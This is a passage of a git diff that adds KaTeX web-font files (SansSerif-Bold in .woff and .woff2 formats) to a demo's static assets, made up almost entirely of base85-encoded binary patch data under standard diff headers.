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 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_SansSerif-Bold.woff b/demo/static/dist/assets/KaTeX_SansSerif-Bold.woff new file mode 100644 index 0000000000000000000000000000000000000000..8d47c02d9408d34b2a9d566c0fe0d42bf82fb735 GIT binary patch literal 14408 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 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_SansSerif-Bold.woff2 b/demo/static/dist/assets/KaTeX_SansSerif-Bold.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..cfaa3bda59246b49e94298478d6de3b3208066c8 GIT binary patch literal 12216 zcmV;pFGtXKPew8T0RR91057-z4gdfE0AMHp054wv0RR9100000000000000000000 z00006U;u&)2wDl83=s$lfr?D$Qvo&tBm;wL3xRk51Rw>84hMp741qEmzf5I@7;GE> z-@x7*MOh-R-d(0&hfQyWlWSYq+9C>6daQjd5wv59|LwrqrN(m2Iz zjgG#xY->=qP+|u}aS$HIaj>INeoI=nnhxdsxp%{LEI0@pN**u;qJ4SJ5gPj>cX-<7 zzYC6|;y_A{Rzc(dZIq+L1~Gd&qo<217v+!IFE@2jfBTu+e&qI}is%3T-uLI)=Z+C- z*gBQQp^RXekNZ&0?8w@zpcKM&WayL*^KngtN zhj;7%9XKS@AxJ^#?AxNgqE=Tu`8fXnPnV`iSYvluZIT0q%Fji$;JZEIy{4EScmK!T z%zUlJK+;kOKyV2ES5y68x&0sCW_C;hJ%`_tTM_Y}<)VnKfl5Th8pj#(t<+$e{$-a=4?9%!CIie7vRu^>+F`vd_m> z3D&aPaMIPF8lrvt@BgvobJIn%0VmS(iEnYYw^Eb+8e_>JV#SO;-fdn0=VD#L z0N@8c27qnx&;S(}d=9~#c@^;eSibpZ$3$*}9l(p6*C1p+qprU5*F3QE1_1#2t1|!~ zVTv0eNf!lrJreatRTh%=rcySKdd-$tVcPv>%sCgT(hK-PJy-A4`)yy2vdgo1J}>1o z_f<+NNX`Gu>9Y&Z(dsxjQDaaCOH5wIlVX8+Zz4h~3k0hXjNL%PiWxo!Ad;4wTjewFG{t1^@xS zHyI(2tkaAzM2pUd0R1ttb!%iwN(k>wg11VOOxaJEJ4Ybb2(t`5(d(lD?mBuy-Qt0+ zi68jeW8VXuabgBZlB5d>LBt-qL6+db5E_RB30kD>NG3F{u0ju9-5^?i4GD?Ix~qxx zRugfz_1jj)t5~CqT>FxDX3Th>lJVk@ib&|00Kzv~A`aO>gs#S5int}5h%Na*ChKMP zJ4r)nns=XKim;Q*j-cEU6m^ueD=HxIiScLQLMUBp_<|vAtucLYgn|X>ky}K{D8^-E z05ynu=s_kk`N%Xw+>Fw?K3X$krlyF(O3b;zF{r94(c!rv;aYcO%rvY%5y}6VaU{pk zM6_&LzoEjGv*NS^y>}L6WfMV+&N4DV7AFIM#~9(UEHeUv)@ZX#F+kFI zKD!H4+VY;&@K#p@eRbRu8v|=o{Iz+lL4!D{AX2#us-TcmS47>Tj)sQb&-!0 zdW{t#;zhOUe{OiRI*ku7$XFsiC=+wcTNfml>0K+)?zPS+K!UrT9W9ZJLW~Ij1ze)` z?3Niv;Wu2a2wjCl^xzEAD=tuJkA_AOJz|S8%_8YljO87h(4WdZC2t`|0g{Z{w9DJ) zy3(UVGPo28h|673Y#R}3hN5ulSg@NUxWK}Cgmwf(e36ssG@`x{w_wPKaHgfl`>Con z1bYm373(NqOQG;2(u`C#D?pTV=peEl8c}BPz`182E 